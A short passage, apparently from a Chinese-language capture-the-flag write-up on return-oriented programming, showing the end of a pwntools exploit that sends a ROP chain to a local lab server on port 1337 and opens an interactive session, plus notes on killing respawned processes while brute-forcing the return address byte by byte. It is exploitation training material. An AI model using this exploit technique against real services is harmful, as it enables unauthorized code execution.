p64(0x0 ) + rop.chain() p = remote('127.0.0.1' , 1337 ) p.send(payload) p.interactive()
这里需要杀死后面出现的进程,为什么呢?因为每次返回地址爆破成功时,会导致重新执行main,也就会重新执行listen等等。每爆破一个字节成功,就会重新成为server,并执行到read。那么此时就是阻塞的状态,等待用户输入。所以我们需要将新出现的进程杀死。以便爆破后面的字节。
level15.1 改偏移即可。ROP完结撒花!